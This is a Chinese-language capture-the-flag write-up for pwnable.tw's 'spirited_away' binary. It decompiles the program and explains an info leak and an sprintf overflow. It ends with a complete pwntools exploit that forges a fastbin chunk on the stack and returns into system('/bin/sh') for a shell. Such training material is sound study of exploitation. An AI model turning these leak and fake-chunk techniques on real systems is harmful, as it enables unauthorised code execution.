1 程序分析 32 位,没开 PIE 且没有 Canary,libc 版本为 2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 (pwn)secreu@Vanilla:~/code/pwnable/spirited_away$ checksec --file=spirited_away [*] '/home/secreu/code/pwnable/spirited_away/spirited_away' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8046000) RUNPATH: b'./' Stripped: No (pwn)secreu@Vanilla:~/code/pwnable/spirited_away$ strings libc_32.so.6 | grep "GNU" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. GNU Libidn by Simon Josefsson
主函数 survey,功能就是存放一些用户输入的影评到栈/堆上
name:60 字节写入 buf = malloc(0x3c)
age:4 字节整型写入 v5
reason:80 字节写入 v7
comment:60 字节写入 s
上面这些东西输入一轮就 ++cnt,调用 printf 输出一遍用户输入
然后用 snprintf 拼接 cnt 和一段字符串到 v1 上,再 printf 输出
最后询问是否继续留影评,最多留 200 条,也就是循环 200 次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int __cdecl main (int argc, const char **argv, const char **envp) { puts ("Thanks for watching Spirited Away!" ); puts ("Please leave some comments to help us improve our next movie!" ); fflush(stdout ); return survey(); } int survey () { char v1[56 ]; size_t nbytes; size_t v3; char s[80 ]; int v5; void *buf; char v7[80 ]; nbytes = 60 ; v3 = 80 ; LABEL_2: memset (s, 0 , sizeof (s)); buf = malloc (0x3Cu ); printf ("\nPlease enter your name: " ); fflush(stdout ); read(0 , buf, nbytes); printf ("Please enter your age: " ); fflush(stdout ); __isoc99_scanf("%d" , &v5); printf ("Why did you came to see this movie? " ); fflush(stdout ); read(0 , v7, v3); fflush(stdout ); printf ("Please enter your comment: " ); fflush(stdout ); read(0 , s, nbytes); ++cnt; printf ("Name: %s\n" , (const char *)buf); printf ("Age: %d\n" , v5); printf ("Reason: %s\n" , v7); printf ("Comment: %s\n\n" , s); fflush(stdout ); sprintf (v1, "%d comment so far. We will review them as soon as we can" , cnt); puts (v1); puts (&::s); fflush(stdout ); if ( cnt > 199 ) { puts ("200 comments is enough!" ); fflush(stdout ); exit (0 ); } while ( 1 ) { printf ("Would you like to leave another comment? <y/n>: " ); fflush(stdout ); read(0 , &choice, 3u ); if ( choice == 89 || choice == 121 ) { free (buf); goto LABEL_2; } if ( choice == 78 || choice == 110 ) break ; puts ("Wrong choice." ); fflush(stdout ); } puts ("Bye!" ); return fflush(stdout ); }
2 漏洞利用 有 2 个漏洞点
printf("Reason: %s\n", v7) 存在信息泄露,只要填满 v7 80 字节就可以泄露 saved ebp、saved eip 等信息
sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt) 存在缓冲区溢出,v1 只有 56 字节,当 10 <= cnt < 100 时 nbytes 被覆盖成 0,当 cnt >= 100 时 nbytes 被覆盖成 ‘n’,即 0x6e,就可以利用 nbytes == 0x6e 越界写
注意当 10 <= cnt < 100 时,nbytes == 0,不需要再输入 name 和 comment
利用思路:
先循环 99 次输入,第 100 次输入 80 字节 reason 填满 v7,从而泄露出栈地址和 libc 地址
第 101 次循环,此时 nbytes 已被覆盖成 0x6e,发送 reason 在 v7 上伪造 fake chunk,发送 comment 越界覆盖 buf 为伪造的 fake chunk 地址,利用 free 将其加入 fastbin
第 102 次循环,malloc 拿到栈上的 fake chunk,发送 name 写栈上的返回地址实现 Ret2libc
注意 free 会检查 next size,注需要伪造 next chunk 的 size 位
3 EXP
远程要交互很久,可能中途断连,如果有日本服务器会快很多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *elf = ELF("./spirited_away" ) libc = ELF("./libc_32.so.6" ) context(os=elf.os, arch=elf.arch, log_level='debug' ) def submit (name: bytes , age: int , reason: bytes , comment: bytes ): io.sendafter(b"your name: " , name) io.sendlineafter(b"your age: " , str (age).encode()) io.sendafter(b"this movie? " , reason) io.sendafter(b"your comment: " , comment) def submit_nbytes_0 (age: int , reason: bytes ): io.sendlineafter(b"your age: " , str (age).encode()) io.sendafter(b"this movie? " , reason) def exploit (): name, age, reason, comment = b'A' , 0x20 , b'B' , b'C' for _ in range (10 ): submit(name, age, reason, comment) io.sendafter(b"<y/n>: " , b'y' ) for _ in range (89 ): submit_nbytes_0(age, reason) io.sendafter(b"<y/n>: " , b'y' ) reason = b'B' * 80 submit_nbytes_0(age, reason) io.recvuntil(b'B' * 80 ) stack_leak = u32(io.recvn(4 )) elf_leak = u32(io.recvn(4 )) libc_leak = u32(io.recvn(4 )) libc_base = libc_leak - 0x1B0D60 log.info(f"stack_leak: {hex (stack_leak)} " ) log.info(f"elf_leak: {hex (elf_leak)} " ) log.info(f"libc_leak: {hex (libc_leak)} " ) log.info(f"libc_base: {hex (libc_base)} " ) ebp = stack_leak - 0x20 system = libc_base + 0x3A940 binsh = libc_base + 0x158E8B log.info(f"ebp: {hex (ebp)} " ) log.info(f"system: {hex (system)} " ) log.info(f"binsh: {hex (binsh)} " ) io.sendafter(b"<y/n>: " , b'y' ) modify_buf_addr = b'C' * 80 + p32(age) + p32(ebp - 0x48 ) fake_chunk = p32(0 ) + p32(0x41 ) + b'B' * 60 + p32(0x1009 ) submit(name, age, fake_chunk, modify_buf_addr) io.sendafter(b"<y/n>: " , b'y' ) payload = b'A' * 0x48 + p32(stack_leak) + p32(system) + p32(elf_leak) + p32(binsh) submit(payload, age, reason, comment) io.sendafter(b"<y/n>: " , b'n' ) io.interactive() if __name__ == "__main__" : if args.REMOTE: io = remote("chall.pwnable.tw" , 10204 , timeout=10 ) else : io = process(elf.path) exploit()